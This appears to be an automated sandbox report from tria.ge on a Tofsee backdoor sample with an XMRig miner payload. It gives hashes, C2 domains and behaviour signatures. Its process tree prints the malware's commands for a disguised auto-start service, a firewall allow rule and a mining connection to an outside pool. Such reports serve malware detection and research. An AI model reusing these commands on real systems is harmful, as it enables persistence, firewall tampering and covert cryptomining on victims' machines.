Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-1703_x64
  • resource
    win10-20220812-en
  • resource tags

    arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
  • submitted
    09/09/2022, 09:09

General

  • Target

    114c5764924105258f8ee907c588e82e283ebf408e641b26677d5e3e849cb736.exe

  • Size

    205KB

  • MD5

    930e589b1911be39446465e243d11caf

  • SHA1

    8929f4ab0558738d813814eff45722044a823530

  • SHA256

    114c5764924105258f8ee907c588e82e283ebf408e641b26677d5e3e849cb736

  • SHA512

    a14397d74de57d9886b10e9b11ee7a91aa1e5324b474bb282f83064e8067f8b70dff52bee6e58c802ec84f07b01a7f51b345c52766ced4e0568da5c32859a27b

  • SSDEEP

    3072:be8VoSgBiRt9565hIy4wz0JxC+4Vn2F0sxA7ueb0V+:t+ir9Lq0x82FnxGueQ

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\114c5764924105258f8ee907c588e82e283ebf408e641b26677d5e3e849cb736.exe
    "C:\Users\Admin\AppData\Local\Temp\114c5764924105258f8ee907c588e82e283ebf408e641b26677d5e3e849cb736.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2836
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tadeexn\
      2⤵
        PID:4804
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kmqmwntg.exe" C:\Windows\SysWOW64\tadeexn\
        2⤵
          PID:2660
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tadeexn binPath= "C:\Windows\SysWOW64\tadeexn\kmqmwntg.exe /d\"C:\Users\Admin\AppData\Local\Temp\114c5764924105258f8ee907c588e82e283ebf408e641b26677d5e3e849cb736.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4272
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description tadeexn "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1256
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start tadeexn
          2⤵
          • Launches sc.exe
          PID:4060
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4904
      • C:\Windows\SysWOW64\tadeexn\kmqmwntg.exe
        C:\Windows\SysWOW64\tadeexn\kmqmwntg.exe /d"C:\Users\Admin\AppData\Local\Temp\114c5764924105258f8ee907c588e82e283ebf408e641b26677d5e3e849cb736.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3396
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4656
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4768

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\kmqmwntg.exe

        Filesize

        14.0MB

        MD5

        67037a1a4fae328e6d660a1752b86d42

        SHA1

        de1ec7ea138c678aef0fefbfda1c3f392233fa96

        SHA256

        8f1e6366b60b12e55a38e2753950433655ecc57eb272913838c0685d049bcf52

        SHA512

        aa5c3fd11d8db42a9e55318565621ce3d84a0affcae4ab24c476478db36ac9d0bcf5ef7f1d19f1dcd04af2068bb1489f79485891c0fe9d87b350a9ec001dfcdc

      • C:\Windows\SysWOW64\tadeexn\kmqmwntg.exe

        Filesize

        14.0MB

        MD5

        67037a1a4fae328e6d660a1752b86d42

        SHA1

        de1ec7ea138c678aef0fefbfda1c3f392233fa96

        SHA256

        8f1e6366b60b12e55a38e2753950433655ecc57eb272913838c0685d049bcf52

        SHA512

        aa5c3fd11d8db42a9e55318565621ce3d84a0affcae4ab24c476478db36ac9d0bcf5ef7f1d19f1dcd04af2068bb1489f79485891c0fe9d87b350a9ec001dfcdc

      • memory/1256-184-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/1256-186-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2660-177-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2660-173-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2660-174-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2660-172-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2660-171-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-157-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-163-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-128-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-129-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-130-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-131-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-132-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-133-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-134-0x0000000002DA8000-0x0000000002DB8000-memory.dmp

        Filesize

        64KB

      • memory/2836-135-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-137-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-138-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-136-0x0000000002D00000-0x0000000002D13000-memory.dmp

        Filesize

        76KB

      • memory/2836-139-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-140-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-141-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-142-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-143-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-144-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-145-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-147-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-146-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-148-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-150-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-149-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-151-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-152-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-153-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-154-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-155-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-156-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-115-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-158-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-159-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-160-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-162-0x0000000000400000-0x0000000002B7E000-memory.dmp

        Filesize

        39.5MB

      • memory/2836-161-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-127-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-164-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-230-0x0000000000400000-0x0000000002B7E000-memory.dmp

        Filesize

        39.5MB

      • memory/2836-220-0x0000000002D00000-0x0000000002D13000-memory.dmp

        Filesize

        76KB

      • memory/2836-218-0x0000000002DA8000-0x0000000002DB8000-memory.dmp

        Filesize

        64KB

      • memory/2836-116-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-117-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-126-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-125-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-124-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-123-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-118-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-122-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-119-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-120-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/2836-121-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/3396-293-0x0000000002C00000-0x0000000002CAE000-memory.dmp

        Filesize

        696KB

      • memory/3396-325-0x0000000000400000-0x0000000002B7E000-memory.dmp

        Filesize

        39.5MB

      • memory/4272-185-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/4272-179-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/4272-181-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/4272-178-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/4272-180-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/4656-483-0x0000000000170000-0x0000000000185000-memory.dmp

        Filesize

        84KB

      • memory/4656-404-0x0000000000170000-0x0000000000185000-memory.dmp

        Filesize

        84KB

      • memory/4804-175-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/4804-166-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/4804-167-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/4804-168-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB

      • memory/4804-169-0x00000000771B0000-0x000000007733E000-memory.dmp

        Filesize

        1.6MB